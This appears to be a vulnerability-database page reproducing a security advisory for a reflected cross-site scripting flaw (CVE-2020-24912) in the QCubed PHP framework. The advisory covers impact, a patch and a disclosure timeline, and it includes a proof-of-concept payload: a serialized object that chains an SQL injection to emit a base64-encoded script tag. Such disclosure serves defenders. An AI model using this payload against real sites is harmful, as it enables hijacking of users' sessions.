Lucene search
K

QCubed 3.1.1 Cross Site Scripting

🗓️ 12 Mar 2021 00:00:00Reported by Wolfgang HotwagnerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 303 Views

QCubed 3.1.1 XSS vulnerability in profile.php allows unauthenticated attackers to steal sessions of authenticated users

Related
Code
ReporterTitlePublishedViews
Family
0day.today
QCubed 3.1.1 Cross Site Scripting Vulnerability
13 Mar 202100:00
zdt
0day.today
QCubed 3.1.1 SQL Injection Vulnerability
13 Mar 202100:00
zdt
Circl
CVE-2020-24912
4 Mar 202116:46
circl
Circl
CVE-2020-24913
4 Mar 202116:46
circl
CNNVD
Matthias Van Woensel qcubed 跨站脚本漏洞
4 Mar 202100:00
cnnvd
CNNVD
Matthias Van Woensel qcubed SQL注入漏洞
4 Mar 202100:00
cnnvd
CVE
CVE-2020-24912
4 Mar 202112:30
cve
CVE
CVE-2020-24913
4 Mar 202112:31
cve
Cvelist
CVE-2020-24912
4 Mar 202112:30
cvelist
Cvelist
CVE-2020-24913
4 Mar 202112:31
cvelist
Rows per page
`  
QCube Cross-Site-Scripting  
======================  
| Identifier: | AIT-SA-20210215-03 |  
| Target: | QCubed Framework |  
| Vendor: | QCubed |  
| Version: | all versions including 3.1.1 |  
| CVE: | CVE-2020-24912 |  
| Accessibility: | Remote |  
| Severity: | High |  
| Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |  
  
SUMMARY  
=======  
QCubed is a PHP Model-View-Controller Rappid Application Development framework. (https://github.com/qcubed/qcubed)  
  
VULNERABILITY DESCRIPTION  
=========================  
A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.  
  
PROOF OF CONCEPT  
=================  
The XSS occurs because the SQL-output in profile.php is not sanitized properly. Since we are able to tamper the output using a SQL-injection(CVE-2020-24913), we can easily output a common XSS string.  
  
We use the following payload(unencoded):  
  
```  
a:1:{i:0;a:3:{s:12:"objBacktrace";a:1:{s:4:"args";a:1:{i:0;s:3:"PWN";}}s:8:"strQuery";s:112:"select version(); select convert_from(decode($$PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K$$,$$base64$$),$$utf-8$$)";s:11:"dblTimeInfo";s:1:"1";}}  
```  
  
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K is unencoded:  
  
```  
"<script>alert(‘xss’)</script>"  
```  
  
VULNERABLE VERSIONS  
===================  
All versions including 3.1.1 are affected.  
  
  
TESTED VERSIONS  
===============  
QCubed 3.1.1  
  
IMPACT  
======  
An unauthenticated attacker could steal sessions of authenticated users.  
  
MITIGATION  
==========  
  
A patch was delivered by QCubed that allows to disable the profile-functionality( https://github.com/qcubed/qcubed/pull/1320/files ).  
  
VENDOR CONTACT TIMELINE  
=======================   
  
| 2020-04-19 | Contacting the vendor |  
| 2020-04-19 | Vendor replied |  
| 2020-05-01 | Vendor released a patch at Github |  
| 2021-02-15 | Public disclosure |  
  
ADVISORY URL  
============  
[https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed](https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed)  
  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation